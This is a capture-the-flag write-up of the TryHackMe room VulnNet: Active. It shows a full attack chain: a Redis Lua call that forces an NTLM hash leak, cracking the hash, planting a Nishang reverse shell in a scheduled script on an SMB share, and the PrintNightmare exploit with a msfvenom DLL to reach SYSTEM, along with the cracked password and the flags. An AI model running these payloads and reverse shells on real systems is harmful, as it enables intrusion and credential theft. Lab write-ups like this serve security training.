

VulnNet: Active CTF Write-up:

Adding the hostname to the hosts file :

```
[root@M0T1K4L1] [~/.../TryHackMe/Windows CTFs/POC CTFs/VulnNet:Active]
# echo "10.10.53.201 vulnnet.local" >> /etc/hosts
```

Start with a simple nmap scan to find all the open ports:

```
[root@M0T1K4L1] [~/.../TryHackMe/Windows CTFs/POC CTFs/VulnNet:Active]
# nmap -T5 vulnnet.local -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-21 04:22 EDT
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 7.62% done; ETC: 04:27 (0:04:39 remaining)
Nmap scan report for vulnnet.local (10.10.53.201)
Host is up (0.095s latency).
Not shown: 65523 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
6379/tcp  open  redis
49665/tcp open  unknown
49667/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49684/tcp open  unknown
49697/tcp open  unknown
```

Now that I have all the open ports I will further enumerate the services with another more specific nmap scan:

```
[root@M0T1K4L1] [~/.../TryHackMe/Windows CTFs/POC CTFs/VulnNet:Active]
# nmap -T5 -sC -sV -p 53,135,139,445,6379,49665-49697 -oN nmap_vulnnet.local
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-21 04:32 EDT
Stats: 0:01:06 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.43% done; ETC: 04:33 (0:00:00 remaining)
Nmap scan report for vulnnet.local (10.10.53.201)
Host is up (0.13s latency).
Not shown: 27 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
53/tcp    open  domain      Simple DNS Plus
135/tcp   open  msrpc       Microsoft Windows RPC
139/tcp   open  netbios-ssn  MICROSOFT WINDOWS netbios-ssn
445/tcp   open  microsoft-ds?
6379/tcp  open  redis       Redis key-value store 2.8.2402
49665/tcp open  msrpc       MICROSOFT WINDOWS RPC
49667/tcp open  msrpc       Microsoft Windows RPC
49669/tcp open  msrpc       Microsoft Windows RPC
49670/tcp open  ncacn_http Microsoft Windows RPC over HTTP 1.0
49684/tcp open  msrpc       Microsoft Windows RPC
49697/tcp open  msrpc       Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-07-21T08:33:26
|   start_date: N/A
|   smb2-security-mode:
|     3:1:1:
|     Message signing enabled and required
```

So, the OS is windows , and there is two interesting service , one is the Microsoft RPC that responsible for communications between services and processes , and the more interesting one is redis server!

(I try enum4linux and manually connect to the smb share but smb1 is disable and the share require authentication, so I leave it for later and try to get some credentials first.)

So, I connect to the redis server and find that there is no keys or databases in the server...

But when I get the configuration of the server I find some interesting path contain the first user name :

```
[root@M0T1K4L1] - [~/.../TryHackMe/Windows CTFs/POC CTFs/VulnNet:Active]
└─# redis-cli -h vulnnet.local
vulnnet.local:6379> config get *
1) "dbfilename"
2) "dump.rdb"
3) "requirepass"
4) ""

101) "appendonly"
102) "no"
103) "dir"
104) "C:\\\\Users\\\\enterprise-security\\\\Downloads\\\\Redis-x64-2.8.2402"
105) "maxmemory_policy"
106) "volatile-lru"
107) "appendfsync"
```

So to get the user credentials I can try manipulate the user 'enterprise-security' to get file from my smb server (responder 😊) and catch the ntlm hash....

To do this I start a responder on my machine :

```
[+] Current Session Variables:  
  Responder Machine Name      [WIN-4ZNGQOPXM8W]  
  Responder Domain Name       [JOZ2.LOCAL]  
  Responder DCE-RPC Port       [46558]  
[+] Listening for events ...
```

Once the responder is active I go back to the redis cli and using [Lua script](#) I requested a file from the fake smb server (responder) :

```
122) ""  
vulnnet.local:6379> eval "dofile('//10.9.2.110//kali')" 0  
(error) ERR Error running script (call to f_01648ef358018be24fa1  
(10.72s)
```

once I enter the command I get the ntLMv2 hash of the user enterprise-security (because he try to receive a file he have to send it to authenticate) .

Copy the hash to a file called 'hash' and crack it using john the ripper :

```
[root@M0T1K4L1]~.../TryHackMe/Windows_CTFs/POC_CTFs/VulnNet:Active]
# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press Ctrl-C to abort, almost any other key for status
sand_0873959498 (enterprise-security)
ig 0.00.00.02 DONE (2024-07-21 04:47) 0.4545g/s 1824Kp/s 1824Kc/s 1824KC/s sa
ndi&j4.. sand36
Use the "--show --format=netntlmv2" options to display all of the cracked pas
words reliably
Session completed.
```

So now I have valid credentials lets go back to the smb to check if there is something interesting in there:

```
[root@M0T1K4L1]~.../TryHackMe/Windows_CTFs/POC_CTFs/VulnNet:Active]
# smbclient -L //vulnnet.local/ -U enterprise-security
Password for [WORKGROUP\enterprise-security]:
Sharename      Type      Comment
ADMIN$        Disk      Remote Admin share (no password)
C$            Disk      Default share
Enterprise-Share Disk
IPC            IPC       Remote IPC
NETLOGON      Disk      Logon server share
SYSVOL        Disk      Logon server share
```

There is a share call Enterprise-Share , lets connect to it and see what inside:

```
[root@M0T1K4L1]~.../TryHackMe/Windows_CTFs/POC_CTFs/VulnNet:Active]
# smbclient //vulnnet.local/Enterprise-Share -U enterprise-security
Password for [WORKGROUP\enterprise-security]:
Try "help" to get a list of possible commands.
smb: \> ls
.
..
PurgeIrrelevantData_1826.ps1
```

There is only one powershell script in the share :

```
smb: \> more PurgeIrrelevantData_1826.ps1
```

```
rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue
/tm/smbmore.Rv6iA7 (END)
```

Its look like a schedule script (like cron job in linux) so If I can change it to powershell script that make a reverse shell I can get in the system. For this I first get the file to my kali and use [Nishang Invoke-PowerShellTcp](#):

I copy the script and past it in the file that I get from the smb share. And add this line at the end:

```
GNU nano 8.0          PurgeIrrelevantData_1826.ps1 *
{
    $listener.Stop()
}
catch
{
    Write-Warning "Something went wrong! Check if the server is re
    Write-Error $_
}
Invoke-PowerShellTcp -Reverse -IPAddress 10.9.2.110 -Port 4444
```

After editing the file (and keep it in the same name!!) I put it back in the smb share so it will replace the original one:

```
smb: \> put PurgeIrrelevantData_1826.ps1  
putting file PurgeIrrelevantData_1826.ps1 as \PurgeIrrelevantData_1826.ps1 (6.8 kb/s) (average 6.8 kb/s)  
smb: \>
```

Start a listener and wait for the reverse shell for a minute +- and got it! :

```
[root@M0T1K4L1]~/.TryHackMe/Windows CTFs/POC CTFs/VulnNet:Active]  
# nc -nlvp 4444  
listening on [any] 4444  
connect to [10.9.2.110] from (UNKNOWN) [10.10.53.201] 49978  
Windows PowerShell running as user enterprise-security on vulnnet-BC3TCK1  
Copyright (C) 2015 Microsoft Corporation. All rights reserved.  
PS C:\Users\enterprise-security\Downloads>whoami  
vulnnet\enterprise-security  
PS C:\Users\enterprise-security\Downloads>
```

Retrieve the user flag:

```
PS C:\Users\enterprise-security\Desktop> cat user.txt  
THM{3eb176aee96432d5b100bc93580b291e}
```

Privilege escalation:

For privilege escalation I used the well known exploit the 'Print nightmare'

First I check if the exploit is exsist using rpcdump from impacket:

```
[root@M0T1K4L1]~/.TryHackMe/Windows CTFs/POC CTFs/VulnNet:Active]  
# impacket-rpcdump @vulnnet.local | egrep 'MS-RPRN|MS-PAR'  
Protocol: [MS-RPRN]: Print System Remote Protocol  
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
```

Yes ! the system is probably vulnerable ,

For this exploit to work I used cube0x0 github repo , and I need according to him to uninstall the impacket that default install on kali and use his instead So for this instead of uninstalling I used python virtual environment :

```
[root@M0T1K4L1]~/.TryHackMe/Windows CTFs/POC CTFs/VulnNetActive]  
# python3 -m venv myenv  
[root@M0T1K4L1]~/.TryHackMe/Windows CTFs/POC CTFs/VulnNetActive]  
# source myenv/bin/activate  
[myenv]~[root@M0T1K4L1]~/.TryHackMe/Windows CTFs/POC CTFs/VulnNetActive]  
#
```

In the virtual environment first I clone and install [cube impacket](#):

```
[myenv]~[root@M0T1K4L1]~/.TryHackMe/Windows CTFs/POC CTFs/VulnNetActive]  
# git clone https://github.com/cube0x0/impacket.git  
Cloning into 'impacket' ...  
remote: Enumerating objects: 19570, done.  
Receiving objects: 100% (19570/19570), 6.51 MiB | 8.65 MiB/s, done.  
remote: Total 19570 (delta 0), reused 0 (delta 0), pack-reused 19570  
Resolving deltas: 100% (14920/14920), done.  
[myenv]~[root@M0T1K4L1]~/.TryHackMe/Windows CTFs/POC CTFs/VulnNetActive]  
# cd impacket  
[myenv]~[root@M0T1K4L1]~/.TryHackMe/Windows CTFs/POC CTFs/VulnNetActive]  
# python3 ./setup.py install  
running install
```

After successfully installing impacket I clone the [exploit repo](#) also from cube:

```
[myenv]-(root@M0T1K4L1)-[~/.../TryHackMe/Windows CTFs/POC CTFs/VulnNetActive]
└# git clone https://github.com/cube0x0/CVE-2021-1675.git
Cloning into 'CVE-2021-1675'...
remote: Enumerating objects: 173, done.
remote: Counting objects: 100% (33/33), done.
remote: Compressing objects: 100% (18/18), done.
remote: Total 173 (delta 15), reused 15 (delta 15), pack-reused 140
Receiving objects: 100% (173/173), 1.45 MiB | 3.18 MiB/s, done.
Resolving deltas: 100% (62/62), done.
```

So another thing we need is the smbserver.py locate inside impacket/impacket/smbserver.py , lets copy it inside the exploit directory:

```
[myenv]-(root@M0T1K4L1)-[~/.../TryHackMe/Windows CTFs/POC CTFs/VulnNetActive]
└# cp impacket/impacket/smbserver.py CVE-2021-1675
```

Add execution permissions :

```
[myenv]-(root@M0T1K4L1)-[~/.../Windows CTFs/POC CTFs/VulnNetActive/CVE-2021-1675]
└# chmod +x CVE-2021-1675.py smbserver.py
```

CVE-2021-1675.py Images README.md SharpPrintNightmare smbserver.py

Last thing we need to do is to create a dll file containing malicious reverse shell script using msfvenom:

```
[myenv]-(root@M0T1K4L1)-[~/.../Windows CTFs/POC CTFs/VulnNetActive/CVE-2021-1675]
└# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.9.2.110 LPORT=4242 -f dll > shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
File: shell.dll
[*] Exploit target:
    Id  Name
      0  windows-x64-meterpreter
[*] Session:
    Id  Name
      0  msfvenom exploit
[myenv]-(root@M0T1K4L1)-[~/.../Windows CTFs/POC CTFs/VulnNetActive/CVE-2021-1675]
└# chmod 777 shell.dll
```

Now for the fun part!

First start a multi handler to listen to the connection :

```
msf6 exploit(multi/handler) > set lhost 10.9.2.110
lhost => 10.9.2.110
msf6 exploit(multi/handler) > set lport 4242
lport => 4242
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.9.2.110:4242
```

After that we need to start a smb server using the script we took from impacket at the path that the malicious dll is (i didn't succeed in the python virtual environment so I uninstall impacket and reinstall it from cube) :

```
[root@M0T1K4L1]-[~/PrintNughther/CVE-2021-1675]
└# ls
CVE-2021-1675.py Images README.md SharpPrintNightmare calendar shell.dll smbserver.py
```

```
[root@M0T1K4L1]-[~/PrintNughther/CVE-2021-1675]
└# sudo smbserver.py share `pwd` -smb2support
/usr/local/bin/smbserver.py:47: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
| __import__('pkg_resources').run_script('impacket==0.9.24.dev1+20210704.162046.29ad5792', 'smbserver.py')
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
```

```
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
```

After I have all set I start the exploit:

```
(...@Omnisec) [/vulnhackme/CVE_2021_1675]
# python3 CVE-2021-1675.py VULNNET/enterprise-security:sand_0873959498@10.10.208.187 '\\\10.9.2.110\share\shell.dll'
[*] Connecting to ncacn_np:10.10.208.187(\PIPE\spoolss)
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\UNIDRV.DLL
[*] Executing \?\UNC\10.9.2.110\share\shell.dll
[*] Try 1...
[*] Stage0: 0
```

And in the smb server I can see the remote connection :

```
[*] Incoming connection (10.10.208.187,49928) Create
[*] AUTHENTICATE_MESSAGE (\,VULNNET-BC3TCK1)
[*] User VULNNET-BC3TCK1\ authenticated successfully
[*] ::::vv ::::::::::::::::::::
[*] Connecting Share(1:share)
[*] Disconnecting Share(1:share)
[*] Closing down connection (10.10.208.187,49928)
[*] Remaining connections []
```

And after a while I get a reverse meterpreter with nt authority permissions:

```
[*] Started reverse TCP handler on 10.9.2.110:1414
[*] Sending stage (201798 bytes) to 10.10.208.187
[*] Meterpreter session 2 opened (10.9.2.110:1414 → 10.10.208.187:49930) at 2024-07-21 06:23:37 -0400

meterpreter > shell
Process 3620 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1757] Created by
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
```

So lets retrieve the system flag:

```
C:\Windows\system32>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop
```

```
C:\Users\Administrator\Desktop>dir Title
dir
Volume in drive C has no label.   VulnNet Active
Volume Serial Number is AAC5-C2C2

Directory of C:\Users\Administrator\Desktop
Task 1  VulnNet: Active
02/23/2021  09:27 PM    <DIR>      .
02/23/2021  09:27 PM    <DIR>      ..
02/23/2021  09:27 PM          37 system.txt
                           1 File(s)       57 bytes
                           2 Dir(s)  21,026,496,512 bytes free
```

```
C:\Users\Administrator\Desktop>more system.txt
more system.txt
THM{d540c0645975900e5bb9167aa431fc9b}
```